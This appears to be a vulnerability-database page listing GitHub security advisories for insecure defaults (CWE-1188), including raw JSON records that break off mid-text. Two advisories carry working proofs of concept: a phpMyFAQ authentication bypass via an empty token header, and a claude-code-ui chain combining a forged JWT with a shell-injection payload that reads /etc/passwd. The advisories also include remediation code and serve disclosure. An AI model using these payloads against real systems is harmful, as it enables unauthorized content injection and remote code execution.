Common Weakness Enumeration

CWE-1188

Allowed

Initialization of a Resource with an Insecure Default

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

404 vulnerabilities reference this CWE, most recent first.

GHSA-GP95-J463-VV28

Vulnerability from github – Published: 2026-05-20 15:46 – Updated: 2026-06-09 00:05
VLAI
Summary
phpMyFAQ: Default Empty API Token Authentication Bypass
Details

Summary

A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."

Details

The root cause is in two files:

1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):

'api.enableAccess'   => 'true',
'api.apiClientToken' => '',       // ← defaults to empty string

2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):

protected function hasValidToken(): void
{
    $request = Request::createFromGlobals();
    if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
        throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
    }
}

The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.

The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.

The following API endpoints call $this->hasValidToken() as their only authentication check:

File Endpoint Method
src/.../Controller/Api/FaqController.php:701-703 /api/v4.0/faq/create POST
src/.../Controller/Api/FaqController.php:857-859 /api/v4.0/faq/update PUT
src/.../Controller/Api/CategoryController.php:278-280 /api/v4.0/category POST
src/.../Controller/Api/QuestionController.php:89-91 /api/v4.0/question POST

PoC

Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.

Step 1 — Verify that requests without auth header are correctly rejected:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json

{
    "language": "en",
    "category-id": 1,
    "question": "Test Question",
    "answer": "Test Answer",
    "keywords": "test",
    "author": "test",
    "email": "test@test.com",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 401 — correctly blocked):

{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}

Step 2 — Send the same request with an empty x-pmf-token header:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "category-id": 1,
    "question": "[POC] Authentication Bypass Confirmed",
    "answer": "This FAQ was created without any valid authentication token.",
    "keywords": "poc,bypass",
    "author": "Security Researcher",
    "email": "researcher@example.com",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 201 — bypass confirmed):

{"stored": true}

Step 3 — Category creation via the same bypass:

POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "parent-id": 0,
    "category-name": "POC_Category",
    "description": "Category created via empty token bypass",
    "user-id": 1,
    "group-id": -1,
    "is-active": true,
    "show-on-homepage": true
}

Response (HTTP 201):

{"stored": true}

Step 4 — Verify injected content is publicly visible:

GET /api/v4.0/faqs/1 HTTP/1.1
Host: <target>

Response (HTTP 200 — injected FAQ publicly exposed):

[{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}]

PoC with Python (urllib — no external dependencies):

import urllib.request, json

TARGET = "http://<target>"
HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}

# Create FAQ via empty token bypass
data = json.dumps({
    "language": "en", "category-id": 1,
    "question": "[POC] Auth Bypass", "answer": "Created via bypass.",
    "keywords": "poc", "author": "R", "email": "r@t.com",
    "is-active": True, "is-sticky": False
}).encode()
req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST")
resp = urllib.request.urlopen(req)
print(f"Status: {resp.status}")  # 201 — bypass successful

Overlap Summary:

Test x-pmf-token HTTP Status Result
No auth header (not sent) 401 Unauthorized 🔒 Correctly blocked
Empty token header "" 201 Created 🔓 Bypass confirmed
Category creation "" 201 Created 🔓 Bypass confirmed
Public verification (not needed) 200 OK 📄 Injected content visible

Impact

This is an authentication bypass (CWE-1188) affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the default state after installation.

  • Who is impacted? Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state.
  • What can an attacker do? Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.
  • What is NOT affected? Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-20T15:46:42Z",
    "nvd_published_at": "2026-05-28T16:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds `api.apiClientToken` with an empty string, and the `hasValidToken()` comparison logic cannot distinguish between \"no token configured\" and \"attacker sent a matching empty token header.\"\n\n### Details\n\nThe root cause is in two files:\n\n**1. Installation default** (`src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php`, line 277-278):\n\n```php\n\u0027api.enableAccess\u0027   =\u003e \u0027true\u0027,\n\u0027api.apiClientToken\u0027 =\u003e \u0027\u0027,       // \u2190 defaults to empty string\n```\n\n**2. Authentication check** (`src/phpMyFAQ/Controller/AbstractController.php`, line 198-204):\n\n```php\nprotected function hasValidToken(): void\n{\n    $request = Request::createFromGlobals();\n    if ($this-\u003econfiguration-\u003eget(\u0027api.apiClientToken\u0027) !== $request-\u003eheaders-\u003eget(\u0027x-pmf-token\u0027)) {\n        throw new UnauthorizedHttpException(\u0027\"x-pmf-token\" is not valid.\u0027);\n    }\n}\n```\n\nThe method uses strict inequality (`!==`). When `api.apiClientToken` is `\u0027\u0027` (default) and the attacker sends `x-pmf-token: ` (empty header value), the comparison becomes `\u0027\u0027 !== \u0027\u0027` which evaluates to `false` \u2014 no exception is thrown, and authentication is completely bypassed.\n\nThe OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged `\u0027Endpoints with Authentication\u0027` and document HTTP 401 responses, while read-only endpoints are tagged `\u0027Public Endpoints\u0027`.\n\nThe following API endpoints call `$this-\u003ehasValidToken()` as their only authentication check:\n\n| File                                                    | Endpoint               | Method |\n| ------------------------------------------------------- | ---------------------- | ------ |\n| `src/.../Controller/Api/FaqController.php:701-703`      | `/api/v4.0/faq/create` | `POST` |\n| `src/.../Controller/Api/FaqController.php:857-859`      | `/api/v4.0/faq/update` | `PUT`  |\n| `src/.../Controller/Api/CategoryController.php:278-280` | `/api/v4.0/category`   | `POST` |\n| `src/.../Controller/Api/QuestionController.php:89-91`   | `/api/v4.0/question`   | `POST` |\n\n### PoC\n\n**Environment**: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.\n\n**Step 1 \u2014 Verify that requests without auth header are correctly rejected:**\n\n```http\nPOST /api/v4.0/faq/create HTTP/1.1\nHost: \u003ctarget\u003e\nContent-Type: application/json\n\n{\n    \"language\": \"en\",\n    \"category-id\": 1,\n    \"question\": \"Test Question\",\n    \"answer\": \"Test Answer\",\n    \"keywords\": \"test\",\n    \"author\": \"test\",\n    \"email\": \"test@test.com\",\n    \"is-active\": true,\n    \"is-sticky\": false\n}\n```\n\nResponse (HTTP 401 \u2014 correctly blocked):\n\n```json\n{\"type\":\".../problems/unauthorized\",\"title\":\"Unauthorized\",\"status\":401,\"detail\":\"Unauthorized access.\",\"instance\":\"/v4.0/faq/create\"}\n```\n\n**Step 2 \u2014 Send the same request with an empty `x-pmf-token` header:**\n\n```http\nPOST /api/v4.0/faq/create HTTP/1.1\nHost: \u003ctarget\u003e\nContent-Type: application/json\nx-pmf-token: \n\n{\n    \"language\": \"en\",\n    \"category-id\": 1,\n    \"question\": \"[POC] Authentication Bypass Confirmed\",\n    \"answer\": \"This FAQ was created without any valid authentication token.\",\n    \"keywords\": \"poc,bypass\",\n    \"author\": \"Security Researcher\",\n    \"email\": \"researcher@example.com\",\n    \"is-active\": true,\n    \"is-sticky\": false\n}\n```\n\nResponse (HTTP 201 \u2014 bypass confirmed):\n\n```json\n{\"stored\": true}\n```\n\n**Step 3 \u2014 Category creation via the same bypass:**\n\n```http\nPOST /api/v4.0/category HTTP/1.1\nHost: \u003ctarget\u003e\nContent-Type: application/json\nx-pmf-token: \n\n{\n    \"language\": \"en\",\n    \"parent-id\": 0,\n    \"category-name\": \"POC_Category\",\n    \"description\": \"Category created via empty token bypass\",\n    \"user-id\": 1,\n    \"group-id\": -1,\n    \"is-active\": true,\n    \"show-on-homepage\": true\n}\n```\n\nResponse (HTTP 201):\n\n```json\n{\"stored\": true}\n```\n\n**Step 4 \u2014 Verify injected content is publicly visible:**\n\n```http\nGET /api/v4.0/faqs/1 HTTP/1.1\nHost: \u003ctarget\u003e\n```\n\nResponse (HTTP 200 \u2014 injected FAQ publicly exposed):\n\n```json\n[{\"record_id\":1,\"record_lang\":\"en\",\"category_id\":1,\"record_title\":\"[POC] Authentication Bypass Confirmed\",\"record_preview\":\"This FAQ was created without any valid authentication token. ...\"}]\n```\n\n**PoC with Python (urllib \u2014 no external dependencies):**\n\n```python\nimport urllib.request, json\n\nTARGET = \"http://\u003ctarget\u003e\"\nHEADERS = {\"Content-Type\": \"application/json\", \"x-pmf-token\": \"\"}\n\n# Create FAQ via empty token bypass\ndata = json.dumps({\n    \"language\": \"en\", \"category-id\": 1,\n    \"question\": \"[POC] Auth Bypass\", \"answer\": \"Created via bypass.\",\n    \"keywords\": \"poc\", \"author\": \"R\", \"email\": \"r@t.com\",\n    \"is-active\": True, \"is-sticky\": False\n}).encode()\nreq = urllib.request.Request(f\"{TARGET}/api/v4.0/faq/create\", data=data, headers=HEADERS, method=\"POST\")\nresp = urllib.request.urlopen(req)\nprint(f\"Status: {resp.status}\")  # 201 \u2014 bypass successful\n```\n\n**Overlap Summary:**\n\n| Test                | x-pmf-token    | HTTP Status      | Result                     |\n| ------------------- | -------------- | ---------------- | -------------------------- |\n| No auth header      | *(not sent)*   | 401 Unauthorized | \ud83d\udd12 Correctly blocked        |\n| Empty token header  | `\"\"`           | **201 Created**  | \ud83d\udd13 Bypass confirmed         |\n| Category creation   | `\"\"`           | **201 Created**  | \ud83d\udd13 Bypass confirmed         |\n| Public verification | *(not needed)* | 200 OK           | \ud83d\udcc4 Injected content visible |\n\n### Impact\n\nThis is an **authentication bypass (CWE-1188)** affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token \u2014 which is the **default state after installation**.\n\n- **Who is impacted?** Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist \u2014 it is the out-of-the-box state.\n- **What can an attacker do?** Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.\n- **What is NOT affected?** Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.",
  "id": "GHSA-gp95-j463-vv28",
  "modified": "2026-06-09T00:05:52Z",
  "published": "2026-05-20T15:46:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35672"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "phpMyFAQ: Default Empty API Token Authentication Bypass"
}

GHSA-GQG8-8X59-R3XM

Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14
VLAI
Details

Cloud Foundry Stratos, versions prior to 2.3.0, deploys with a public default session store secret. A malicious user with default session store secret can brute force another user's current Stratos session, and act on behalf of that user.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-3783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-07T18:29:00Z",
    "severity": "HIGH"
  },
  "details": "Cloud Foundry Stratos, versions prior to 2.3.0, deploys with a public default session store secret. A malicious user with default session store secret can brute force another user\u0027s current Stratos session, and act on behalf of that user.",
  "id": "GHSA-gqg8-8x59-r3xm",
  "modified": "2022-05-13T01:14:28Z",
  "published": "2022-05-13T01:14:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3783"
    },
    {
      "type": "WEB",
      "url": "https://www.cloudfoundry.org/blog/cve-2019-3783"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GR4J-7V97-RRFC

Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2026-07-05 00:31
VLAI
Details

D-Link DIR-2640-US 1.01B04 is vulnerable to Incorrect Access Control. Router ac2600 (dir-2640-us), when setting PPPoE, will start quagga process in the way of whole network monitoring, and this function uses the original default password and port. An attacker can easily use telnet to log in, modify routing information, monitor the traffic of all devices under the router, hijack DNS and phishing attacks. In addition, this interface is likely to be questioned by customers as a backdoor, because the interface should not be exposed.

Severity
8.1 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-34203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-16T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "D-Link DIR-2640-US 1.01B04 is vulnerable to Incorrect Access Control. Router ac2600 (dir-2640-us), when setting PPPoE, will start quagga process in the way of whole network monitoring, and this function uses the original default password and port. An attacker can easily use telnet to log in, modify routing information, monitor the traffic of all devices under the router, hijack DNS and phishing attacks. In addition, this interface is likely to be questioned by customers as a backdoor, because the interface should not be exposed.",
  "id": "GHSA-gr4j-7v97-rrfc",
  "modified": "2026-07-05T00:31:20Z",
  "published": "2022-05-24T19:05:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34203"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liyansong2018/CVE/tree/main/2021/CVE-2021-34203"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    },
    {
      "type": "WEB",
      "url": "http://d-link.com"
    },
    {
      "type": "WEB",
      "url": "http://dir-2640-us.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GRR8-7XF6-XMC7

Vulnerability from github – Published: 2025-01-15 21:31 – Updated: 2025-02-03 18:30
VLAI
Details

Insecure default configurations in HI-SCAN 6040i Hitrax HX-03-19-I allow authenticated attackers with low-level privileges to escalate to root-level privileges.

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-48122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-15T21:15:13Z",
    "severity": "MODERATE"
  },
  "details": "Insecure default configurations in HI-SCAN 6040i Hitrax HX-03-19-I allow authenticated attackers with low-level privileges to escalate to root-level privileges.",
  "id": "GHSA-grr8-7xf6-xmc7",
  "modified": "2025-02-03T18:30:39Z",
  "published": "2025-01-15T21:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48122"
    },
    {
      "type": "WEB",
      "url": "https://kth.diva-portal.org/smash/get/diva2:1876534/FULLTEXT01.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GRWM-7VMP-5MCP

Vulnerability from github – Published: 2024-07-17 09:30 – Updated: 2024-08-01 15:32
VLAI
Details

Initialization of a resource with an insecure default vulnerability in FutureNet NXR series, VXR series and WXR series provided by Century Systems Co., Ltd. allows a remote unauthenticated attacker to access telnet service unlimitedly.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-31070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-17T09:15:02Z",
    "severity": "CRITICAL"
  },
  "details": "Initialization of a resource with an insecure default vulnerability in FutureNet NXR series, VXR series and WXR series provided by Century Systems Co., Ltd. allows a remote unauthenticated attacker to access telnet service unlimitedly.",
  "id": "GHSA-grwm-7vmp-5mcp",
  "modified": "2024-08-01T15:32:05Z",
  "published": "2024-07-17T09:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31070"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU96424864"
    },
    {
      "type": "WEB",
      "url": "https://www.centurysys.co.jp/backnumber/nxr_common/20240716-01.html"
    },
    {
      "type": "WEB",
      "url": "https://www.centurysys.co.jp/backnumber/nxr_common/20240716-03.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GV8F-WPM2-M5WR

Vulnerability from github – Published: 2026-03-11 00:37 – Updated: 2026-03-11 20:58
VLAI
Summary
@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection
Details

Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection

Download: cve_claudecodeui_submission_v2.zip

 Submission Info

Field Value
Package @siteboon/claude-code-ui
Ecosystem npm
Affected versions <= 1.24.0 (latest)
Severity Critical
CVSS Score 9.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-1188, CWE-287, CWE-78
Reported 2026-03-02
Researcher Ethan-Yang (OPCIA)

Summary

Three chained vulnerabilities allow unauthenticated remote code execution on any claudecodeui instance running with default configuration. No account, credentials, or prior access is required.

The root cause of RCE is OS command injection (CWE-78) in the WebSocket shell handler. Authentication is bypassed by combining an insecure default JWT secret (CWE-1188) with a WebSocket authentication function that skips database user validation (CWE-287).

Vulnerability Details

1. Insecure Default JWT Secret — CWE-1188

File: server/middleware/auth.js, line 6

const JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production';

The server uses an environment variable for JWT_SECRET, but falls back to a well-known default value when the variable is not set. Critically, JWT_SECRET is not included in .env.example, so the majority of users deploy without setting it, leaving the fallback value in effect.

Since this default string is published verbatim in the public source code, any attacker can use it to sign arbitrary JWT tokens.

2. WebSocket Authentication Skips Database Validation — CWE-287

File: server/middleware/auth.js, lines 82–108

authenticateWebSocket() only verifies the JWT signature. It does not check whether the userId in the payload actually exists in the database — unlike authenticateToken() which is used for REST endpoints and does perform this check:

// authenticateWebSocket() — VULNERABLE
const decoded = jwt.verify(token, JWT_SECRET);
return decoded;  // ← userId never verified against DB

// authenticateToken() — CORRECT (REST endpoints)
const decoded = jwt.verify(token, JWT_SECRET);
const user = userDb.getUserById(decoded.userId);  // ← DB check present
if (!user) return res.status(401)...

A forged token with a non-existent userId passes WebSocket authentication, bypassing access control entirely.

3. OS Command Injection via WebSocket Shell — CWE-78

File: server/index.js, line 1179


shellCommand = `cd "${projectPath}" && ${initialCommand}`;

Both projectPath and initialCommand are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution.

A secondary injection vector exists at line 1257 via unsanitized sessionId:

shellCommand = `cd "${projectPath}" && claude --resume ${sessionId} || claude`;

Proof of Concept

Requirements: Node.js, jsonwebtoken, ws

import jwt from 'jsonwebtoken';
import WebSocket from 'ws';

// Step 1: Sign a token with the publicly known default secret
const token = jwt.sign(
  { userId: 1337, username: 'attacker' },
  'claude-ui-dev-secret-change-in-production'
);

// Step 2: Connect to /shell WebSocket — auth passes because
//         authenticateWebSocket() does not verify userId in DB
const ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);

ws.on('open', () => {
  // Step 3: initialCommand is injected directly into bash
  ws.send(JSON.stringify({
    type: 'init',
    projectPath: '/tmp',
    initialCommand: 'id && cat /etc/passwd',
    isPlainShell: true,
    hasSession: false
  }));
});

ws.on('message', (data) => {
  const msg = JSON.parse(data);
  if (msg.type === 'output') process.stdout.write(msg.data);
});

Actual output observed during testing:

uid=1001(user) gid=1001(user) groups=1001(user),27(sudo)
ubuntu
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Secondary vector — projectPath double-quote escape injection

ws.send(JSON.stringify({
  type: 'init',
  projectPath: '" && id && echo "pwned" # ',
  provider: 'claude',
  hasSession: false
}));
// Server executes: cd "" && id && echo "pwned" # " && claude
// Output: uid=1001... / pwned

Additional Findings

CWE Location Description
CWE-306 server/routes/auth.js:22 /api/auth/register requires no authentication — first caller becomes admin
CWE-942 server/index.js:325 cors() with no options sets Access-Control-Allow-Origin: *
CWE-613 server/middleware/auth.js:70 generateToken() sets no expiresIn — tokens never expire

Impact

Any claudecodeui instance accessible over the network where JWT_SECRET is not explicitly configured (the default case, as it is absent from .env.example) is vulnerable to:

  • Full OS command execution as the server process user
  • File system read/write access
  • Credential theft (SSH keys, .env files, API keys stored on the host)
  • Lateral movement within the host network

The attack requires zero authentication and succeeds immediately after default installation.

Remediation

Fix 1 — Enforce explicit JWT_SECRET; remove insecure default

// server/middleware/auth.js
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET) {
  console.error('[FATAL] JWT_SECRET environment variable must be set');
  process.exit(1);
}

Also add JWT_SECRET= to .env.example with a clear instruction to set a strong random value.

Fix 2 — Add DB user existence check in WebSocket authentication

const authenticateWebSocket = (token) => {
  if (!token) return null;
  try {
    const decoded = jwt.verify(token, JWT_SECRET);
    const user = userDb.getUserById(decoded.userId); // ← add
    if (!user) return null;                          // ← add
    return user;
  } catch (error) {
    return null;
  }
};

Fix 3 — Replace shell string interpolation with spawn argument array

// Instead of:
const shellProcess = pty.spawn('bash', ['-c', `cd "${projectPath}" && ${initialCommand}`], ...);

// Use:
const shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), {
  cwd: projectPath  // pass path as cwd, not shell string
});

Fix 4 — Additional hardening

  • Add expiresIn: '24h' to generateToken()
  • Restrict CORS to specific trusted origins
  • Rate-limit and restrict /api/auth/register to localhost on initial setup

Timeline

Date Event
2026-03-02 Vulnerabilities discovered and verified via PoC
2026-03-02 Private advisory submitted to maintainer
2026-06-01 Public disclosure (90-day deadline)

Researcher

Ethan-Yang — OPCIA

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.24.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@siteboon/claude-code-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31975"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:37:25Z",
    "nvd_published_at": "2026-03-11T18:16:27Z",
    "severity": "HIGH"
  },
  "details": "# Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection\nDownload: [cve_claudecodeui_submission_v2.zip](https://github.com/user-attachments/files/25686652/cve_claudecodeui_submission_v2.zip)\n\n## \uf4cb Submission Info\n\n| Field | Value |\n|-------|-------|\n| **Package** | `@siteboon/claude-code-ui` |\n| **Ecosystem** | npm |\n| **Affected versions** | `\u003c= 1.24.0` (latest) |\n| **Severity** | Critical |\n| **CVSS Score** | 9.8 |\n| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |\n| **CWE** | CWE-1188, CWE-287, CWE-78 |\n| **Reported** | 2026-03-02 |\n| **Researcher** | Ethan-Yang (OPCIA) |\n\n---\n\n## Summary\n\nThree chained vulnerabilities allow **unauthenticated remote code execution** on any\nclaudecodeui instance running with default configuration. No account, credentials, or\nprior access is required.\n\nThe root cause of RCE is **OS command injection (CWE-78)** in the WebSocket shell\nhandler. Authentication is bypassed by combining an insecure default JWT secret\n**(CWE-1188)** with a WebSocket authentication function that skips database user\nvalidation **(CWE-287)**.\n\n---\n\n## Vulnerability Details\n\n### 1. Insecure Default JWT Secret \u2014 `CWE-1188`\n\n**File**: `server/middleware/auth.js`, line 6\n\n```javascript\nconst JWT_SECRET = process.env.JWT_SECRET || \u0027claude-ui-dev-secret-change-in-production\u0027;\n```\n\nThe server uses an environment variable for `JWT_SECRET`, but falls back to a\nwell-known default value when the variable is not set. Critically, `JWT_SECRET` is\n**not included in `.env.example`**, so the majority of users deploy without setting it,\nleaving the fallback value in effect.\n\nSince this default string is published verbatim in the public source code, any attacker\ncan use it to sign arbitrary JWT tokens.\n\n---\n\n### 2. WebSocket Authentication Skips Database Validation \u2014 `CWE-287`\n\n**File**: `server/middleware/auth.js`, lines 82\u2013108\n\n`authenticateWebSocket()` only verifies the JWT **signature**. It does **not** check\nwhether the `userId` in the payload actually exists in the database \u2014 unlike\n`authenticateToken()` which is used for REST endpoints and does perform this check:\n\n```javascript\n// authenticateWebSocket() \u2014 VULNERABLE\nconst decoded = jwt.verify(token, JWT_SECRET);\nreturn decoded;  // \u2190 userId never verified against DB\n\n// authenticateToken() \u2014 CORRECT (REST endpoints)\nconst decoded = jwt.verify(token, JWT_SECRET);\nconst user = userDb.getUserById(decoded.userId);  // \u2190 DB check present\nif (!user) return res.status(401)...\n```\n\nA forged token with a non-existent `userId` passes WebSocket authentication,\nbypassing access control entirely.\n\n---\n\n### 3. OS Command Injection via WebSocket Shell \u2014 `CWE-78`\n\n**File**: `server/index.js`, line 1179\n\n```javascript\n\nshellCommand = `cd \"${projectPath}\" \u0026\u0026 ${initialCommand}`;\n```\n\nBoth `projectPath` and `initialCommand` are taken directly from the WebSocket message\npayload and interpolated into a bash command string without any sanitization,\nenabling arbitrary OS command execution.\n\nA secondary injection vector exists at line 1257 via unsanitized 